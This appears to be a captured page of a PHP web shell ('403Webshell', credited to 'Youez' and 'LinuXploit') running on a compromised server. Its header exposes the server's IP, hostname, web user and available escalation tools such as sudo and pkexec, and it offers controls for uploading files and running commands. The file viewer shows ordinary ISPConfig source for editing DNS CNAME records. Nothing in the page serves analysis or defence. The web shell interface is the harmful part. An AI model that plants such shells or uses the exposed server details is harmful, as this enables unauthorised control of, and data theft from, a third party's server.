403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/ispconfig/interface/web/dns/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/ispconfig/interface/web/dns/dns_cname_edit.php
<?php

/*
Copyright (c) 2007, Till Brehm, projektfarm Gmbh
All rights reserved.

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice,
      this list of conditions and the following disclaimer in the documentation
      and/or other materials provided with the distribution.
    * Neither the name of ISPConfig nor the names of its contributors
      may be used to endorse or promote products derived from this software without
      specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

/******************************************
* Begin Form configuration
******************************************/

$tform_def_file = "form/dns_cname.tform.php";

/******************************************
* End Form configuration
******************************************/

require_once '../../lib/config.inc.php';
require_once '../../lib/app.inc.php';
require_once './dns_edit_base.php';

// Loading classes
class page_action extends dns_page_action {

	protected function checkDuplicate() {
		global $app;
		//* Check for duplicates where IP and hostname are the same
		$tmp = $app->db->queryOneRecord("SELECT count(dns_rr.id) as number FROM dns_rr LEFT JOIN dns_soa ON dns_rr.zone = dns_soa.id WHERE (( name = replace(?, concat('.', dns_soa.origin), '') or name = ? or name = concat(?,'.', dns_soa.origin)) and dns_rr.zone = ? and dns_rr.id != ?)", $this->dataRecord["name"], $this->dataRecord["name"], $this->dataRecord["name"], $this->dataRecord["zone"], $this->id);
		if($tmp['number'] > 0) return true;
		return false;
	}

	function onSubmit() {
		global $app, $conf;
		// Get the parent soa record of the domain
		$soa = $app->db->queryOneRecord("SELECT * FROM dns_soa WHERE id = ? AND " . $app->tform->getAuthSQL('r'), $_POST["zone"]);

		// Check if CNAME is at apex (empty hostname or @ or zone origin) - RFC 1912 prohibits this
		$hostname = trim($this->dataRecord["name"]);
		if($hostname === '' || $hostname === '@' || $hostname === $soa['origin'] || $hostname === rtrim($soa['origin'], '.')) {
			$app->tform->errorMessage .= $app->tform->wordbook['cname_apex_not_allowed'] . '<br/>';
		}

		// Replace @ to example.com. in data field
		if($this->dataRecord["data"] === '@') {
			$this->dataRecord["data"] = $soa['origin'];
		}

		// The target name should either end in a . or exist in the current zone.
		if (!empty($this->dataRecord["data"]) && substr($this->dataRecord["data"], -1) != '.') {
			$tmp = $app->db->queryOneRecord("SELECT dns_rr.id
				FROM dns_rr
					LEFT JOIN dns_soa ON dns_rr.zone = dns_soa.id
				WHERE (name = ?
					OR name = CONCAT(?, '.', dns_soa.origin)) AND dns_rr.zone = ?",
				$this->dataRecord["data"], $this->dataRecord["data"], $this->dataRecord["zone"]);

			if (empty($tmp)) {
				$app->tform->errorMessage .= $app->tform->wordbook['data_error_not_found'] . '<br/>';
			}
		}
		parent::onSubmit();
	}
}

$page = new page_action;
$page->onLoad();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit